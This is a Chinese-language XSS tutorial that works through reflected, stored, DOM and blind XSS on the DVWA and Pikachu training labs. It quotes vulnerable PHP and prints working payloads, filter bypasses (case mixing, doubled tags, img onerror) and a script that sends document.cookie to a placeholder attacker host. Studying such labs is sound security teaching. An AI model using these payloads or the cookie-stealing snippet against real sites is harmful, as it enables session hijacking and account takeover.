1. XSS 到底是什么
简单说,XSS就是黑客在网页里插了一段恶意的JavaScript代码,当用户浏览这个页面时,这段代码就在用户的浏览器里跑起来了 。 哪怕服务器端固若金汤,只要前端漏了风,XSS照样能把用户的Cookie偷得底裤都不剩。
2. XSS的三板斧
2.1 反射型XSS

简单来说,反射型攻击就是你给受害者发个带毒的链接(比如 ?name=<script>...),受害者一点,请求发给服务器,服务器把这堆烂代码原样反射回来,浏览器一解析,中招了 。通常来说反射型XSS攻击多见于GET类型
2.1.1 下面我们看一下DVWA靶场事例,我们现将靶场安全类型调整成low
我们可以输入一下代码来查看该网站是否存在XSS漏洞
javascript
<script>alert(1)</script>

当我们点击提交(submit)后,我们可以发现网页弹出信息。
我们发现是存在XSS漏洞的。
有时候网站后端可能会把把 <script> 标签禁用了。使用img标签也可以用来探测XSS漏洞。比如如下代码:
javascript
<img src=## onerror=alert(document.cookie)>
img标签支持onerror事件,我们就可以利用这个特性,让浏览器去加载没有的图片从而触发报错。利用onerror把恶意代码插进去执行

a标签也能进行XSS攻击。a标签支持onmouseover事件。
javascript
<a onmouseover=alert(document.cookie)>xxs link</a>
当鼠标悬停在xxs link超链接上面时,"炸弹"爆炸!

当我们通过以上几种方法来探测到XSS攻击后,攻击者就可以发送cookie到自己的服务器或者远程服务器上。
javascript
<script>
var img = document.createElement("img");
img.src = "http://xxxx/a?" + escape(document.cookie);
</script>
这样受害者的浏览器会以为自己要去加载一张图片,实际上,它向黑客的服务器发送了一个 GET 请求。攻击者就可以看到受害者的cookie了。
有时候呢网站后端源码有时候会通过过滤器来试图阻止以上攻击,但我们依旧可以通过一些绕过,来进行攻击。
2.1.2 我们把DVWA安全类型调整成medium
javascript
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
我们通过分析以上后段源码可以发现,str_replace来把只要看到<script>,就把它替换成空。但是依旧放不住我们的攻击,因为他只过滤掉了小写,我们可以使用大小写混淆或者双写来绕过:
javascript
大小写混淆:<ScRiPt>alert(/xss/)</script>
双写绕过(套娃):<sc<script>ript>alert(/xss/)</script>
换个标签:<img src=x onerror=alert(/xss/)>
2.1.3 我们把DVWA安全类型调整成high
javascript
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
之前简单的 str_replace 没了,他换成了正则表达式来过滤。
- 只要是以
<开头,后面跟着s,再跟着c,再跟着r... 一直到t组成的词。 (.*):这个更是重量级。它的意思是"中间夹杂任何字符都行"。- 这意味着如果你写
<scr ipt>(中间加空格),或者<s!@#crip%^&t>,它都能认出来这是"script",然后直接杀掉。
但是呢他太过于钻牛角尖了,而忽略了我们可以使用别的标签(比如img)来进行攻击
javascript
<img src=x onerror=alert('XSS')>
2.2 存储型XSS

用最通俗的话讲:**把恶意的代码,永久地写进了网站的数据库里。**所有访问这个页面的受害者就都会收到攻击。下面我们依旧使用DVWA靶场来举例。
2.2.1 low
javascript
<img src=## onerror=alert(document.cookie)>
<script>alert(1)</script>

当点击 Sign Guestbook 按钮后,这行 <img...> 代码就被后端 PHP 原封不动地写进了数据库里。当下一次用户或管理员刷新页面后,弹窗就会出现
2.2.2 medium
我们分析一下medium安全下,该网页的源代码
javascript
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
首先分析message框,他用addslashes对所有特殊字符进行转义,没有办法绕过。但我们注意name框,只将<script>替换成空,我们这里可以大小写或复习进行绕过。
javascript
<sCript>alert(1)</scRipt>
<sc<script>ript>alert(document.cookie)</script>
同时这里对name框有字数限制,我可以使用burpsuite,去修改他的请求包,从而成功存储恶意代码。(这里就不进行演示了。这会写的时候懒得再去抓包了...)
2.2.3 high
我们继续分析high安全下的源码。跟medium不同的是,对name框进行了正则匹配限制
javascript
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
前面提到过,这种情况我们使用别的标签比如img,既可以绕过
javascript
<img src=## onerror=alert(document.cookie)>
2.3 DOM型XSS

以我对DOM类型的理解,不同于其他类型的XSS攻击,DOM类型的恶意代码不会出现在响应包中,不会出现在返回的页面的源码中。那么是什么时候执行的呢?比如如下的URL包含恶意的构造的<img>标签
javascript
http://localhost:8000/domxss.html?<img src=0 onerror="alert('XSS')">
乍一看这很像反射型XSS,但不同的是,后端服务器可能收到参数,但不会回显到html中,返回的看起来是正常页面。
php
<?php
// 服务器看到了 $_GET['name'],但它根本不用!
// 它只负责把这一坨固定的 HTML 扔给你
include "template.html";
?>
但是前端JS代码存有漏洞。比如innerHTML 拼接(最经典)
javascript
<div id="out"></div>
<script>
const q = location.hash.slice(1); // 提取 # 后的内容
out.innerHTML = "Search: " + q; // 写到 innerHTML
</script>
前端代码拿到#或者?后面的内容并且拼接。innerHTML 会把字符串当 HTML 解析 。<img src=x> 会加载失败,触发 onerror,所以执行 alert(XSS)。一句话:返回页面的源代码里看不到恶意代码,但页面加载后仍然会执行恶意代码。代码不是服务器"送来的",而是浏览器"自己拼出来并执行的"。
3. XSS盲打
XSS盲打是一种攻击场景,属于存储型XSS类型。盲打的意思是无法直接在前端看到反馈效果,只能通过后台看到输入的内容,从前端无法判断是否存在XSS,这种情况下,把恶意代码插到一个你平时根本访问不到的地方(通常是管理员的后台),然后你就坐在那里等,等着管理员"中招"。
我们这里使用Pikachu靶场来演示

我们输入<script>alert(/xss/)</script>来提交。这个时候信息应该就存储到了后台数据库,我们可以用管理员登录后台看看。后台地址:http://your_ip/vul/xss/xssblind/admin_login.php。使用admin/123456进行登陆。登陆后我们发现弹窗就出现了:

由此我们证明出了漏洞的存在。后续就可以通过xss窃取的cookie,冒充管理员登录网站后台。